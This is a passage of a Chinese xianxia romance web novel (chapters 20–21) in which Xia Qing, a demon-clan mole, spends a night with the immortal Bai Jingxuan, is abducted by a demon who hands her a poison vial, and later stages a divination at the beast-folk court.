夏清一脑热,伸出手来,捧起白镜玄的脸,勾起她的下颌,照着那双性感却凉薄的嘴唇俯身吻下去。 白镜玄坐在床边,夏清附身亲吻她的唇,白镜玄则要被迫仰头才能配合。 此时无声胜有声。 夏清合上眼,越吻越沉迷,呼吸间充斥着紫藤花深情暧昧的香气。 这香气比最烈的酒还要醉人,熏得夏清神志不清。她被旖旎暧昧的气氛推动着,任由心底贪婪堕落的私心主宰自己,向白镜玄寸寸逼近。 吱呀一声轻响,夏清意识浅浅回笼,发现自己不知何时已将白镜玄推倒在床。 她压在白镜玄身上,居高临下,把控着亲密的分寸与节奏。 白镜玄的外衣已经褪去,内里薄薄一层衣衫也是松松垮垮的,领口皱巴巴,向一侧倾斜,露出曲线雅致的脖颈与一小段销魂养眼的锁骨来。 夏清怦然心动,兽性大发,低头照着白镜玄的肩膀轻轻咬一口。 “唔……”白镜玄身子猛地一颤,眼底蓄起一层薄薄的水汽,意识忽沉忽起,低喃着,“清儿……你这是,做什么?” 夏清咬完又在牙印的位置舔一舔,舌尖打着旋儿往四周移动,一口一口品尝美味珍馐。 她终于如愿以偿抚上白镜玄盈盈一握的纤腰,为白镜玄无可挑剔的精致腰线发出一声由衷赞叹。 上辈子当牛马不知道积了多少德,这辈子才能吃那么好。 夏清一声叹息,五指挤进白镜玄指缝,紧紧扣住。 “我要与卿卿双修。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 20、第二十章 忙碌到深夜,白镜玄在疲惫中沉沉睡去。 这一晚的“双修”竟比上回还要累。 夏清作为罪魁祸首,倒是余留了两分体力,除了胳膊软得抬不起来,精神却十分亢奋。 她怀里搂着熟睡的美人,将美人光洁如玉的胳膊放回被子里,再细致地掖好被角,听着耳侧舒缓平静的呼吸声,心情好得出奇。 总算是哄好了。 夏清抽回手时贱嗖嗖地捏了捏美人的鼻尖。 好在白镜玄睡得熟,一点儿也没醒。 “感觉真的像做梦一样。”夏清盯着白镜玄沉静的睡颜,喃喃自语。 癞蛤蟆吃到天鹅肉,说出去都没人信。 等白镜玄日后恢复记忆,发现自己被魔族卧底趁人之危,不知道得气成什么样子。 届时白镜玄若要一剑杀了她才解恨,她也没什么好埋怨的。 人生一世难得糊涂,恩恩怨怨,是是非非,哪能算得那么清楚? 且走一步看一步。 夏清思绪飘忽,不一会儿,自己也睡着了。 等到天亮睁开眼,怀里的美人早已不见踪影。 夏清心里倏地感觉一阵空落落的。 像黄粱美梦醒来的刹那,一切美好烟消云散,抓不住,摸不着的惆怅失落。 翻身坐起来,被褥顺着肩膀滑落。 感觉肩后隐隐作痛,夏清抬了抬胳膊,扭头往后看,瞧见几道被指甲抓出来的红杠。 “哦,铁证如山。”夏清哂笑。 她连吃带拿占尽便宜,何必还在这里伤春悲秋。 夏清振作精神,下床穿衣。 她自己来时穿的那身衣裳不见了,桌上放了一套新的,想必旧的那套被白镜玄收走了。 夏清走到桌边,见叠好的衣服上还放着一封信。 “信?” 脑海中立即浮现出白镜玄说曾给她留过书信的场景。 好奇心驱使,夏清拿起信封拆开来,取出里面叠得方方正正的信纸。 “见字如面,心意相牵。” 夏清设想白镜玄留书时写下这几个字的模样,心里一阵酥酥麻麻的痒。 噫。 她抖了抖鸡皮疙瘩,继续往下看。 “今晨女皇下诏,言道有事相商,吾忆及昨日言语,虽略感幽愤,但觉卿之所言也不无道理,遂往。夫人若醒了,可持吾之信物于宫中四处走走,待吾事了,自来寻。念念思卿,镜玄。” 略感幽愤…… 夏清乐得两眼弯弯。 老婆真可爱。 她把信纸重新叠好,将其塞回信封。 一时不查,信封里掉出个物件儿,落到她叠好的衣服上。 白色的小东西,材质非金非玉,应该是由某种大型野兽的牙齿,精雕细琢而成的小物,背后点缀着一小撮雪白的兽毛,造型设计还怪好看的。 此物应该就是白镜玄信中提及的信物。 夏清穿上白镜玄给她准备的衣裳,又将信物悬挂腰间,大大咧咧出门去。 宫里到处冷冷清清,没什么好看的,女皇议事的大殿气氛过于威严,夏清也不喜欢。 思来想去,倒可以去找柳菡云,看看兽人圣女那边寻贼的进度怎么样了。 也不必向谁问路,她稍稍卜一卦便知道个大概。 夏清带着白镜玄给的信物,圣宫中的兽卫见到她都要行礼,因而她一路畅通无阻地抵达圣坛。 未及走近,夏清远远看见一队人马迎面走来。 这些兽人身上穿着统一的制服,肩膀上都戴着袖章,袖章上的徽纹夏清见过,和圣女衣袍背后的印花一模一样。 夏清一眼看见队伍最前面的柳菡云。 “师姐!”夏清在路旁站定,朝柳菡云招手。 柳菡云闻声看过来:“师妹!你来得正好,圣女找到了贼人的窝点,我们正要前往搜查,你可要一同前往?” 夏清:“?!” 效率这么高的吗?!不是说少则三五天迟则一个月? 白镜玄居然会误判? 来不及思量个中缘由,夏清自然而然跟着一同出宫。 前往贼人窝点途中,柳菡云问夏清:“峰……咳,祭司怎么没在?” 夏清答:“被女皇叫走了。” “哦,应该也是为此事。”柳菡云点点头,“我以为你会和祭司一块儿来。” 夏清沉吟:“没关系,她应该自己会找来。” 白镜玄多半在给她的信物上做了标记,以白镜玄的修为,想找到她们易如反掌,夏清并不担心。 柳菡云想想也是:“成。” 圣城很大,不同地域的发展程度有明显差距,东城发展得最好,住着许多兽人族的达官显贵,南城和西城稍次,北城往前是一片荒漠,因而城市建设的进度要差上许多。 她们从宫中出来,直奔北城,夏清好奇道:“圣女是怎么找到贼人窝点的?” 柳菡云回答:“圣女继承了四神兽中的神凰血脉,自小便有通灵天赋,在圣坛大阵加持下,方圆百里所有鸟兽尽是其眼耳。” 夏清听得啧啧称奇,赞叹道:“酷!” 难怪圣女能在她们抵达圣城时及时伸出援手。 这小姑娘年纪虽轻,实力却不可小觑。 “只不过……”柳菡云补充说明,“因为圣女天赋神力使用范围有所限制,且她因为身份特殊,而不能随意出宫,只能利用飞鸟远程传讯。” 兽人祭司原是圣城内唯一一个能解读兽语,与圣女协同合作的人,两名人类修行者的到来短暂改变了这个局面。 夏清听柳菡云说完,兀自汗颜。 幸好圣女选择了柳菡云这位仙界尖子生,否则换了她,可帮不上什么忙。 同时,夏清心里琢磨着,或许因为柳菡云是故事的主角儿,与圣女搭档触发了主线事件的进程,所以事态发展才超出了白镜玄的意料。 主角光环这个事情,也不是人力所能控制的嘛。 众人一路北行,来到一片乱石嶙峋的荒地。 天空中一只飞鸟降下来,落到柳菡云的肩膀上,叽叽咕咕叫了几声。 柳菡云点点头:“我明白了。” 夏清龇牙,颇无语道:“你明白啥了?” “贼人窝点就在附近,入口非常隐蔽。”柳菡云回答,“圣女让我们暂时退守,封锁这片区域,以免打草惊蛇,等到祭司大人来了再继续行动。” 夏清心道:这肯定是世界上最早的无线通信设备,还挺好使。 时间缓缓流逝,太阳爬到天上最高的位置,底下荒地每个角落都铺满金灿灿的阳光。 贼人窝点的入口的确隐蔽,视野这么好的情况下,她们都没有发现入口在哪里。 太晒了,不知道还得等多久,夏清心想:白镜玄也该来了吧? 这念头划过脑海,她抬起手来遮了遮太阳,低头时看见自己脚下的影子晃了晃,好像出现了重影。 再定睛看时,双影重叠的感觉又消失了。 “我该不会中暑了?”夏清疑惑。 好在暂时没感觉不适,还能再坚持一会儿。 便在这时,影子又开始晃动。 这一次清晰可见。 夏清:“?” 脚下沙地在短短两秒以内迅速扩散,形成一个直径半米的漩涡。 一只干瘦的枯手从漩涡中探出,扣住夏清的脚踝。 夏清:“!!!” 惊呼声响起时已经晚了。 柳菡云惊觉:“师妹!” 夏清眼前一暗,柳菡云的声音被隔绝在厚土之外,听来像堵在瓦瓮里。 不多时,被泥沙推挤压迫的感觉倏地消失。 夏清宛如一只刚从地里拔出来的萝卜,浑身裹着泥沙摔到空地上。 空地周围的砂石汇聚起来,凝结成一条锁链,锁住夏清的手脚,拖着她抵达墙根,将她脖子和四肢固定在墙面上。 周围视野昏暗,只石窟四周生长着一些微泛荧光的蘑菇勉强绽放一些光亮。 一片巨大的阴影从天而降笼罩在夏清头顶,夏清艰难抬头,只望见茫茫虚空中有道晃动的黑影,看不到清的模样。 “薛靖川为什么会死?” 沙哑的嗓音像两块枯树皮摩擦发出的噪声。 黑影迅速逼近,在夏清眼前闪现出一瞬实体,随后又如烟尘般散去。 薛靖川? 夏清想了想,没想起来这人是谁,遂回:“我哪儿知道。” “你怎么会不知道?”黑影又一次幻化出现,神态狰狞,“他和柳菡云交手的时候你也在场!你为什么见死不救?!” 夏清一怔,随即明白过来,原来薛靖川就是天梁洲那个被她杀死的魔人。 而眼前这道黑影,大抵就是白镜玄一直追踪未果的魔族卧底。 这件事本该已经结束,没想到这时候被人翻出来了。 夏清心沉下去。 她对未来的生活才刚有一点盼头,魔族就来搅浑水,是真不想让她过一丁点儿的好日子。 “我怎么可能救得了他!”夏清反怼回去,“他自己沉不住气,要在年比的文书上动手脚,被查到了又不是我的错!” “我是个废物,人尽皆知,我要能从柳菡云手里救他性命,又何至于现在受你制约?!我好不容易取得白镜玄的信任,你难道希望我也暴露,让我们的计划功亏一篑?!” 黑影被夏清突然爆发的情绪镇住了,一时间不知如何应对。 良久,黑影在夏清身前汇聚,凝重地审视着她:“你真的没有背叛尊上?那为何不按照约定执行任务?” 夏清脑子飞快转动,猜测此人口中所说的任务应该是她刚穿来那会儿的窃听器事件。 为了这个任务,原身意外身故。 “还说呢,我差点因为这个任务暴露身份!”夏清咬牙切齿,“白镜玄出关那日,要不是天梁洲手下的弟子挑衅我坏了事,我早把任务完成了!你当时应该也在场吧!” 黑影沉吟:“这么说,是薛靖川自食其果。” 言罢,他倏地话锋一转,“那你为什么突然出现在蛮荒?” 夏清料到他会问这个,心中已打好腹稿,对答如流:“我的任务本来就是监视白镜玄,她突然离开紫霄峰,脱离了我的视野,我可是费了好大劲儿才打听到她在蛮荒。” 没等黑影质询,夏清又说:“想必你还不知道,我设计引柳菡云去溪云台,将她和江梓秋推下山,可惜她命大,没死成。” 黑影闻言,周围雾气晃了晃,十分震惊:“竟有此事?!” “这事儿闹得可大了,你随便打听。”夏清言之凿凿。 见黑影态度已明显不如先前那般激进,夏清趁机对他说:“你不是白镜玄的对手,若还想活命,就听我一句劝,待会儿白镜玄来,你把我扔给她,她必定会先救我而不顾你,那是你唯一脱身的机会!” 她要取信白镜玄,但魔族这边不知道还有多少卧底潜伏,也不能得罪。只有卖此魔一个人情,她既保住性命,也不至于惹白镜玄生疑。 “此言当真?”黑影将信将疑,“白镜玄会那么轻易放过我?” 夏清轻哼一声:“信我,你还有一条活路,不信,你必死无疑。” 话音刚落,腰间信物忽然震动。 夏清神情一凛:“来了!” 轰隆—— 地窟从天顶破了个窟窿,金灿灿的阳光倾泻下来,伴随瀑布般汹涌而至的剑芒。 黑影不敢迟疑,反手扣住夏清肩膀,将一个小瓶塞进夏清手中:“找时机给白镜玄下毒,若成,我就信你。” 言罢,反手将她扔向漫天剑光。 夏清:“艹!”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 20-30 第21章 第二十一章(三合一) 刹那间, 锋锐之气笼罩全身。 夏清身体悬在半空,没有着力点,只能眼睁睁看着自己像个沉重的破麻袋沿着抛物线的轨迹腾起又坠落。 从洞口卷进来的狂风呼呼吹过, 不亚于海面上的十级台风, 夹着碎刀片似的石子扑簌簌往身上拍, 每一寸皮肤都被割得生疼。 夏清感觉自己就要被碾碎了, 她深切体会到自己的弱小。 当灾难降临到她身上,无论是地震山崩还是台风海啸, 她都像一只螳臂当车的蝼蚁,不想被风吹走,就会被风撕碎。 这过程或许并没有持续太久, 只短短几秒, 但在夏清的感受中,却无限放大。 倏然,一束金光挥洒下来, 照耀在夏清身上。 锋锐如刀的气息转眼间冰消雪融,席卷而来的风暴吹过来时,触碰金光的瞬间便如寒冰遭到烈火灼烧,短暂发出暴烈的声响, 随即便气化消失。 锐气从夏清身侧倾泻而过,长了眼睛似的卷向距离更远些的那道黑影。 黑影见状不敢久留,身影一晃便化作一蓬黑烟,被卷过的风暴吹散。 风刀撕下他一片衣角, 薄薄一块布,碰到剑气的瞬间就被切分成无数碎片。 夏清腾到高处, 四周金光消融,身体开始往下坠落。 失重感揪得心慌, 她无奈闭上眼睛。 便在此时,她感觉腰身一紧,随即强烈的坠落感开始减缓,直至消失。 睁眼,离地面已经很近。 清冷如月的美人来到她身边,牢牢揽住她的腰。 两人身体紧紧相贴,白镜玄身侧包裹着一圈氤氲金光,源源不断的温暖渗透衣料,融进夏清的身体,驱散了她内心深处无处安放的恐惧与阴霾。 腰间信物感受到白镜玄的法力,愉快激动地闪烁着,一如夏清此刻澎湃沸腾的情绪。 她们平安落地,而那黑影已然逃离,洞外传来些许动静,应该是柳菡云等人埋伏在外,试图阻截黑影。 片刻后,柳菡云从岩洞边缘一跃而下,快步行至白镜玄跟前,神态沮丧:“拦截失败,被他逃走了。” 白镜玄沉默许久,开口却道:“不必追了。” 柳菡云眉毛拧了拧,似欲言又止,但终究没说什么,朝白镜玄拱了拱手:“那我带人回去复命,夏师妹就拜托峰主照看了。” 白镜玄未出声,只略一颔首,便算应了。 没等柳菡云再开口,白镜玄长袖一挥,带着夏清原地消失。 柳菡云尴尬地抓了抓后脑勺,峰主好像对她很有成见,是不是因为夏师妹几次跟着她出来都意外遭遇危险? 下回可不敢让夏清单独陪着她冒险了。 只一眨眼,周围景象已经改变,白镜玄带着夏清从圣城北郊回到祭司殿。 熟悉的花香扑鼻而来,夏清劫后余生,心神稍稍放松,悄默声地把手中一只小瓶藏进袖兜装好。 相比夏清的平和,白镜玄反倒极为反常。 夏清感觉气氛压抑,悄咪咪抬眼观察白镜玄。 白镜玄此刻脸色阴得吓人,平日里静默如渊的双眼此刻愈发幽寂,她的神态没有明显变化,光看表面似乎与平常没太大区别,但凉飕飕的气压已延伸至五米开外。 夏清从未见过白镜玄如此模样。 难道她和魔人的对话被白镜玄听了去?那可就完犊子了! 她手软脚软地也跑不了,若真被白镜玄发现了什么,她也只能认了。 真是可惜,美好春光一去不返。 夏清东想西想之际,白镜玄抱着她回到房间。 白镜玄将夏清抱到床边让她坐下,随后便拉开她的衣袖,伸手浅浅覆盖住她胳膊上的淤青,开始施法疗伤。 一句话也不说,一句话也不问。 搞得夏清心里很忐忑。 魔人将她抓走后并没有施以太残忍的酷刑,但因扣押审讯的过程比较粗暴,夏清手腕脚腕乃至脖颈间都有明显的擦伤和淤青。 莽荒地界灵气资源匮乏,纵然强大如白镜玄,也对此束手无策。 以前施个小法术就能轻松治愈的伤势,如今耗费大半个时辰,也只愈合三成。 伤口虽已结痂,但瞧着刺眼。 白镜玄浑身笼罩在极低的气压氛围里,一直不吭声,夏清内心十分忐忑,试探着轻轻唤:“……祭司大人?” “这里又无外人,为何不叫卿卿?”白镜玄回她。 啊……若放在平日,白镜玄说这话,夏清高低得笑话她一下。 但现在,白镜玄冷着脸,语气也严肃冰冷,听在夏清耳中,多少是有些阴阳怪气。 心里有鬼的人最擅长对号入座,夏清愈发觉得白镜玄是不是觉察到什么,霎时心情惴惴,忐忑心虚。 夏清深吸一口气,小心翼翼开口:“……卿卿?” “干什么?”白镜玄扫她一眼又继续低头忙活。 “唔……”夏清捂着心口,做痛苦状。 白镜玄倏地抬头,扶住夏清肩膀:“你怎么了?还有内伤?” 语气总算有了几分波澜。 夏清心里稍安,白镜玄还在乎她,那就有回转的空间。 于是她龇了龇牙,一本正经地胡说八道:“内伤没有,但你冰冷的态度快把我冻伤了。” 白镜玄:“……” 被夏清这一闹,白镜玄脸上的神色霎时鲜活起来,紧锁的眉头终于松开,无奈又嗔怪地瞪夏清一眼:“都伤成什么样了,你还有心思玩闹。” “这算什么伤嘛。”夏清回答,“都好了,你不要担心。” 白镜玄微微抿唇,长睫垂落,良久没有吭声。 夏清大着胆子伸手,握住白镜玄,白镜玄神色不虞,但并没有躲。 “今日多亏卿卿赶来及时,不然我恐怕……”她一边说,一边悄悄观察白镜玄的脸色。 言到此处,白镜玄神色骤变,霎时抽回手,捂住她的嘴:“别胡说。” 夏清从善如流:“好,不说。” 见她如此,白镜玄方将手拿开,欲往后退去倒杯茶水。 夏清趁机伸手去拽她的胳膊。 白镜玄听到风声,本能地往旁边一让。 夏清扑了个空,腿脚也没有力气,起身太猛没站稳,眼看就往地上扑。 夏清:“……” 什么叫偷鸡不成蚀把米。 眼瞅着就要和大地来个亲密接触,身旁白镜玄眼疾手快,一个探手搂住她的腰,将她捞回来。 “这么着急做什么?”白镜玄语气嗔怪,“你需要什么告诉我,我拿给你。” 夏清:“嗯……” 她原想抖个机灵,“我需要你”这几个字在夏清脑子里转了一圈,终究因为太肉麻了没好意思开口。 便在这时,一个小瓶从夏清袖口漏出来,滴溜溜滚到白镜玄脚边。 夏清:“……” 啊啊啊啊啊啊啊!!! 这里的衣服衣兜是漏斗设计,是吗,是吗,是吗?! 关键道具揣在她兜里就一定会掉出来,对吗?! 夏清破大防了。 然而,白镜玄看也没看脚边的小瓶子,先扶着夏清回床边坐好,随后才转过身去,捡起地上的小瓶子。 夏清心一紧,感觉大祸临头。 怎么办怎么办怎么办?! 下一秒,白镜玄将这小瓶子随手放到桌上。 然后她拿起水壶,倒一杯热水端到床边:“来,喝点儿水。” 夏清:“……?” 水杯递到夏清面前,她才后知后觉,双手接过:“哦,哦。” 夏清小口小口抿着水喝,不时心虚地看一眼桌上的小瓶子,感觉压力山大,那小瓶儿就是个随时可能引爆的定时炸弹。 白镜玄沉默许久,忽然冷不丁冒出一句:“夫人所言果然没错。” 夏清手一抖,险些没拿稳茶杯。 “……啊?” “夫人曾言这些宵小为了对付我,会从我身边亲近之人下手,我与夫人感情越深,这些人便愈猖狂放肆,没想到夫人才刚到圣城,此魔就按捺不住动手!” 不敢想象,如果她稍稍迟到一步…… 夏清愣了片刻反应过来,原来白镜玄今日大发雷霆是因为这。 如此说来她和魔人交涉时的内容并没有被白镜玄听见,夏清紧绷的心神放松些许。 夏清接着白镜玄的话道:“我已好端端的回来了,卿卿不要担心,说起来还是怪我自己粗心大意,给了这些魔人可乘之机。” 言罢,她将视线从那小瓶上收回来。 既然白镜玄尚未起疑,她自己也不要此地无银三百两。 与此同时,她的脑子飞快转动,思考着魔族交给她的忠诚度测试任务该如何对付。 圣城之中可还有其他魔族的眼线监视她的行动? “这怎么能怪夫人呢?”白镜玄在夏清身旁坐下,抿着唇绷着脸一副气闷的神态,“怪就怪魔族居心叵测,这么多年了,一直不安分。” 夏清顺杆儿往上爬:“那我今后就一直待在卿卿身边,寸步不离,他们自然就没有机会对我下手了。” 白镜玄闻言,眼底愠怒消退,反漾出些流光溢彩。 但开口,语气依然克制:“夫人要说话算话。” “当然,我家卿卿可是九瑶川第一仙尊,有卿卿在我身边,谁还敢动我?”夏清语气笃定地说道,“这天底下谁我也不相信,只信卿卿。” 这句话说完,白镜玄脸上神态没有明显变化,但夏清清晰地感觉到屋子里沉甸甸的气氛消失了,仿佛窗外吹进屋里的风都是甜甜的。 下一瞬,香风扑面。 白镜玄情之所至,握住夏清的手,倾身上前吻一吻夏清的唇。 “幸甚与君相许相知,生生世世不负卿。” 夏清躺在床上,乖乖让白镜玄给她盖上被子,内心不由唏嘘。 魔族监视白镜玄这么多年,都没摸清白镜玄的性情。 这位仙尊,好哄得很。 白镜玄心情平复,让夏清好好休息。 夏清心里惦记着桌上的小瓶子,得想办法支走白镜玄才行。 于是她问:“魔人跑了,接下来是不是还要继续搜查?” “嗯……”白镜玄蹙眉思量,“此魔已经暴露,绝不敢再生事端,宫中戒备森严,又有圣女坐镇,祭司殿内有我设下的护阵,很安全,夫人放心歇息便是。” 夏清偏偏头:“我倒是不担心这个,若你之后还要与魔族之人交手,可千万要小心一些,魔人阴险狡诈诡计多端,你有再高的实力也不得不防。” 白镜玄听劝:“夫人说得是。” 夏清于是眯眯眼:“困了,我睡一会儿。” 白镜玄点头:“我在这儿守着,夫人睡吧。” 夏清:“……” 你倒是去忙你的,让我自己睡就好了! 既怕被白镜玄瞧出端倪,又怕白镜玄发现小瓶子的秘密,夏清哪里睡得着。 但人躺在床上,若意识过于清醒,身体各个部位不舒服的细节就会被无限放大,这里也痛,那里也痛,要一动不动地装睡,简直是一场煎熬。 像这样熬着不知过了多久,屋外传来宫人轻唤:“祭司大人,女皇传诏,请您过去议事。” 白镜玄没有出声,但床沿发出了细微声响,随即轻盈的脚步声渐行渐远。 房门吱呀一声打开,又轻轻合上,白镜玄的声音从门缝中飘进来:“你下去吧,到院外守着,再有人来都说我不在,不要放进院子里。” 宫人应声退下。 夏清趁机翻了个身调整睡姿,换了个舒服的位置再躺一会儿,确认白镜玄离开庭院,短时间内不会回来,她便掀开被子起身,探头探脑地朝房门处瞧一眼。 没有任何动静。 夏清大着胆子下床,一个箭步来到桌旁,拿起小瓶子。 入手是一种冰冰凉凉的感觉,想到瓶子里装的是针对白镜玄的毒药,夏清心便往下一沉。 这群该死的魔族,真是丧尽天良,怎么就非要针对白镜玄? 夏清打算把瓶子先藏起来,有了前面几次前车之鉴,她深刻地吸取了教训,绝对不再把这种东西随身携带。 那,藏哪儿好呢? 这里是白镜玄的房间,白镜玄当对这里的每一物都了然于心,随意翻动屋里的东西,无异于自报家门。 而且,白镜玄已经见到过这个瓶子,若她偷偷拿走,会不会反倒惹白镜玄生疑? 夏清左思右想,拿不定主意,此事真真让她进退两难。 这群该死的魔族,真是丧尽天良,害白镜玄不说,还非拉她当炮灰! 诶,等会儿。 夏清伏在桌边,看一眼手中的小瓶儿。 她忽然有了一个大胆的想法。 接下来几天,夏清一直在祭司殿养伤。 那小药瓶她就干脆任由它放在桌上,最危险的地方也可能是最安全的地方,灯下黑,白镜玄未必能发现端倪。 此事被她暂且按下,等伤好之后再做处理。 柳菡云和白镜玄则在为兽人大典的事情继续奔波。 白镜玄带回消息,那魔人日前逃走之后果然不再现身。 根据圣女观测的结果来看,此魔已经离开圣城,远去他乡。 白镜玄也已在圣城各处城门设下阵法。 这道阵法的作用是监测通行者体内的灵气变化,修行之人一旦踏入阵法,立即会被白镜玄发现。 短短两日,已有数名可疑之人受到秘密监控,其中确有几人行迹鬼祟,已被暗中带走查问。 两大防护之力叠加,意欲为非作歹之人只要胆敢冒头,绝对会被雷霆镇压。 圣城内的安全隐患暂时解除,却还有一个更大的问题遗留:各部族使臣前往圣城途中遇袭,下落不明之事。 魔人虽被驱逐,但依照目前的调查结果与雅梅提供的线索来看,那魔人与阻挠兽人大典的人马,可能并非同一伙。 这便让局势变得被动,就算将圣城的安防做得再好,没有各部使臣来参加,兽人大典纵然如期举办,也虚有其表,无法弘扬兽人族威。 因此,当务之急是从圣城派出支援,搜寻各部族失踪的使臣。 但是,由于圣女不能离开圣城,通灵鸟兽的侦查范围极为有限,调查行动迟迟无法展开。 圣宫大殿上,兽人女皇、圣女、祭司齐聚一堂,各兽臣七嘴八舌讨论对策,却始终拿不出一个行之有效的解决方案。 便在这时,厅中有一人开口:“我有个主意,或可一试。” 此言一出,众人唰唰回头,几十双眼睛同时汇聚,最终看向柳菡云。 白镜玄戴着面具站在圣女身后,闻声抬了抬眼,但兴致不高,夏清不在,她对任何事都一视同仁地冷漠。 座上女皇也未应声,她的视线落在一旁,看似认真倾听殿上议论,实则有些心不在焉。 却是圣女在此时出声追问:“什么主意?说来听听。” 柳菡云向圣女拱手,高声回答:“去请教夏师妹。” 圣女没来得及应,忽而另一道声音自身侧响起:“为何要问夏姑娘?” 女皇目光回转,看向白镜玄。 会议持续了这么久,这还是祭司头一次开口。 “夏师妹有七窍玲珑之心,算无遗策。”柳菡云说道。 “此前我曾不慎坠下山崖,险些性命不保,我的同门全体出动,彻夜搜山也没有寻见我,最后,是夏师妹通过神秘卜术精准算定我的下落,我才因此捡回一条命。” 众兽臣面面相觑,女皇若有所思,圣女则喃喃低语:“神秘卜术?” 柳菡云点头:“对,我们寻不见那些兽使的踪迹,说不定夏师妹可以!” 雅梅也在此时出声附和:“柳姐姐说得没错,夏姐姐很厉害,上回我与卫队走丢,与柳姐姐、夏姐姐结伴同行,途中遭遇袭击,就是夏姐姐破解了敌人的幻术!” “既然如此……”圣女转头面向女皇,请示道,“不如请夏仙师来殿上问一问,看是否能卜得到兽使们的下落。” 女皇点点头:“好,本皇这就派人去请。” “不必了。” 疏冷低沉的嗓音颇有辨识度,众人扭头看去,见祭司从圣女身后走出来,淡淡道:“夏姑娘在祭司殿养伤,就由我去带她过来吧。” 言罢,没等女皇答应,她便转身离去。 众兽臣你看看我,我看看你。 圣女更是满脸稀奇:“祭司姐姐这是怎么了?” 以前从没见过祭司大人这样积极。 柳菡云抹了把脑门上的汗,暗暗心想:紫霄峰内是谁谣传峰主不重视夏清这个弟子? 除了夏清,白镜玄是对谁都没有好脸色。 祭司亲自去请夏清,殿上兽臣们没人胆敢有半分异议。 不多时,殿外响起通传之声。 随后,白镜玄便领着夏清走进大殿。 入殿内一瞧,所有认识的,不认识的,都在。 夏清行至殿上,朝兽人女皇拱拱手:“修士夏某,参见女皇陛下。” 柳菡云遂道:“夏师妹,我们想请你卜算一卦,看看各部来圣城的兽使队伍在哪里,还能不能寻到?” 夏清来时路上已从白镜玄口中获知缘由。 柳菡云问出此言,夏清抬眸,见穹顶倒悬,像一只倒扣的大碗。 周围墙面上绘着四神兽的图腾,正对夏清的正是一只展翅欲飞的朱雀。 覆碗为艮,朱雀为离。 夏清心念稍动,随即成卦。 山火贲,辰时变三,变卦山雷颐,互卦为解。 此卦由土泄火气之象变作木克土之象,颇有风险,好在动则有解,可以一试。 颐卦并非全吉,有小凶之兆,需谨防口舌是非,人心向背。 座上女皇看向夏清:“夏仙师,施展这卜算秘术,可需要本皇为你提供什么支持?” 这几天,夏清虽然没有参与行动,但心中始终惴惴不安。 如今终于应验。 居然是贲卦……外华内亏之卦,真叫人意外。 可既然这件事找上她,她也不能视而不见,只能迎头而上了。 夏清琢磨卦象给出的指示:“我需要一块安静的场地……嗯,圣坛就很不错,还有拜台、香烛、笔墨、五谷和一只活物。” “这些都不是难事。”女皇点点头,视线转向圣女,“圣女,可否借圣坛一用。” 圣女低下头,态度恭敬:“圣坛所属,自当全力配合。” 女皇于是将诏令颁布下去,并告诉夏清:“一个时辰以内,所有东西都会备好。” 于是,女皇率众向圣坛转移,途中,柳菡云压低声问夏清:“往日你卜卦,没见准备什么,今天怎么需要那么多东西?” 夏清摇头晃脑,高深莫测地回答:“窥探天机哪有那么容易?” 就如圣女需要在圣坛大阵之中才能发挥血脉神力,祭司布阵也需用到一些奇石灵物,在这些不懂易经的兽人认知中,叩问天机的举动,肯定需要耗费许多资源。 而且,她卜到的是贲卦。 若是她张口就来,只怕这些人不会相信。 柳菡云想想:“也是。” 她还想再问什么,忽然感觉背后蹿起一阵凉意,遂回头查看。 身后不远处,是祭司和圣女,再往后,众兽卫环护于女皇身侧,其余大臣都跟在后头。 没什么异样啊。柳菡云暗自嘀咕。 被这突然一下打断,她刚才想问什么也忘记了。 一炷香后,众人抵达圣坛,圣女打开坛外的防护大阵,女皇则命人将夏清需要的东西全部搬到圣坛上。 待兽卫前来复命,女皇便对夏清道:“夏仙师,祭台已布置完成,你且看能不能用?” 夏清随便扫上一眼,点头:“可以,准备得很充分,多谢陛下。” 言罢,夏清欲往台上去,忽而想到什么,又停下脚步:“我还需要向陛下借一个人。” 女皇:“你但说无妨。” 夏清伸手指向白镜玄:“我想借……祭司大人。” 此言一出,所有人大吃一惊。 相似的场景似乎在夏清和柳菡云来圣城的第一天也出现过。 那时,是祭司向女皇陛下借人。 没想到夏清会效仿,竟让祭司做她的副手。 连女皇都未必能使唤得动祭司,夏清真是胆大包天。 夏清话音落下,女皇眉头微蹙,而圣女则是朝前迈出一步:“夏仙师,圣坛的布局应当属我最为了解,不如由我辅佐仙师卜算天机。” 夏清眨巴眨巴眼睛,不应,而是越过圣女的肩膀看向白镜玄。 圣坛下开始有窃窃私语之声。 便在这时,清润温雅的声音响起:“夏姑娘需要我做什么?” 开口之人正是祭司。 夏清侧开头,不看她的眼睛:“你来帮我研墨。” 哗—— 在场一片喧哗之声,就连柳菡云也大吃一惊,委实佩服夏清的气魄。 她可真敢开口啊。 兽人女皇也皱起眉头,面色凝重。 场面忽然有些失控,圣女再开口时,语气中已带上两分警告的意思:“夏仙师……” “圣女,你且在台下稍候。”这一次,出声阻止圣女的竟然是祭司,她态度始终从容,“夏姑娘既然点名让我协助,自有她的道理。” 众人纷纷赞叹祭司的广阔胸怀,同时也对夏清此举颇有微词。 夏清可不管他们说什么。 变卦为颐,就是要应口舌之灾的风险才能成事。 在场所有人中,能护她抗下此险的人,只有白镜玄。 于是,夏清与白镜玄一同登台。 登上圣坛途中,白镜玄垂眸传音:“清儿,你待如何?” 夏清深吸一口气,感觉肩上沉沉的担子压下来:“我也不想的,但事已至此,今日只怕有变,我势单力薄,骑虎难下,要卿卿护我。” 闻言,白镜玄沉默。 须臾间,她身上的气场发生剧烈改变,数米以内的气温唰唰下降好几度。 不仅夏清,连圣坛下的女皇、圣女与一众兽臣兽卫也都感受到环境温度的变化。 圣女心头一凛,女皇眼底也掠过一抹冷光。 柳菡云则暗道不好:峰主,好像生气了! 夏清登上高台,于众目睽睽之下将用作祭品的野鸡一刀宰了,随后捧起五谷,摆出施法祭司的姿态,将谷物洒向圣坛四周。 占卜法事似乎已经开始,女皇示意众臣不得出声,于是台下短暂安静下来。 谷物落地,发出沙沙声响。 祭司则蹲坐桌旁,安静耐心地研墨。 不多时,夏清撒完五谷,忽而原地站定。 白镜玄研墨的手稍稍顿住,抬眸朝她瞧一眼。 气息如常,并无异样。 可是,下一瞬,夏清忽然哇哇大叫,在台上跳来蹦去。 “哇哇哇!天苍苍,野茫茫!哇啊啊啊!啊!啊!风吹草低见牛羊!!!” 其状疯魔,其态癫狂。 台下众人面露惊色,圣女扭头看向柳菡云:“这是怎么了?” 柳菡云也是一脸懵逼,闻声摇了摇头。 